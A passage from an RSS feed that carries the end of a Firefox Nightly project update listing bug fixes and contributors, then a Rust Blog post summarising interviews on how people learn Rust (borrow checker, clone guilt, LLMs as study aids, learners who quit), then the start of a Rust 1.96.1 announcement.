</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Francis :mckenfra: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1315558">tld service for webextensions</a></li>
<li>any1here: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042309">about:preferences#privacy is broken with MOZ_DATA_REPORTING false</a></li>
<li>pullmana8: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">Fix protocol/Actor.js to throw an Error instead of an Actor</a></li>
<li>RAN1: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1830551">Firefox Crashes on Quit When Running Two Browsers With Separate Profiles</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Accessibility</h4>
<ul>
<li>Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it <a href="https://firefox-source-docs.mozilla.org/bug-mgmt/processes/accessibility-review.html#automated-accessibility-review-skill">in the accessibility review source docs</a>.</li>
</ul>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042200"> Bug 2042200</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042204"> Bug 2042204</a></li>
<li>Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040971"> Bug 2040971</a></li>
<li>Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2043803"> Bug 2043803</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041393"> Bug 2041393</a></li>
<li>Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1751346"> Bug 1751346</a></li>
<li>Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1805205"> Bug 1805205</a>
<ul>
<li>Thanks to Mike Kaply for implementing this enterprise policy enhancement.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1653876"> Bug 1653876</a></li>
<li>Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1750196"> Bug 1750196</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=766005">Chris Vander Linden</a> made the Search input component shared as we plan to use it in the Netmonitor as well (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019260">#2019260</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027580">#2027580</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027582">#2027582</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=631103">pullmana8</a> improved error management in the DevTools protocol (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">#2031735</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=553004">Chris H-C :chutten</a> removed Legacy Telemetry devtools instrumentation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039650">#2039650</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=13647">:glob ✱</a> fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016778">#2016778</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> exposed heading level more clearly in the accessibility tree (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1588784">#1588784</a>) and in the accessibility highlighter (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044904">#2044904</a>)</li>
</ul>
<p><img alt='Accessibility panel in Firefox DevTools showing a selected "heading (level 3)" node named "Backwards compatibility."' class="aligncenter size-full wp-image-2083" height="375" src="https://blog.nightly.mozilla.org/files/2026/06/image2-3.png" width="727"></p>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028058">#2028058</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed an issue in Netmonitor search where it could appear the the search stalled (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042405">#2042405</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036404">#2036404</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hardcoded strings</a> for all our session data types.</li>
<li>Alexandra Borovova updated <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015655">the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers</a>.</li>
<li>Alexandra Borovova fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042385">a regression when there would be no “script.realmCreated” events after the cross-origin navigation</a>.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Dharma updated context search actions to trigger search instead of entering search mode @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1945080">1945080</a></li>
<li>Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041255">2041255</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030183">2030183</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019168">2019168</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044849">2044849</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033583">2033583</a></li>
<li>Moritz has worked on several refactorings to allow the urlbar to be used in content @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039828">2039828</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039298">2039298</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041280">2041280</a></li>
<li>Middle click paste replaces content was fixed by Moritz @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042893">2042893</a></li>
<li>Michel added feature to show registrable domain on desktop after its implementation on mobile @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986161">1986161</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.1]]></title>
<description><![CDATA[The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:
rustup update stable
If you don't h...]]></description>
<link>https://tsecurity.de/de/3693287/tools/the-rust-programming-language-blog-announcing-rust-1961/</link>
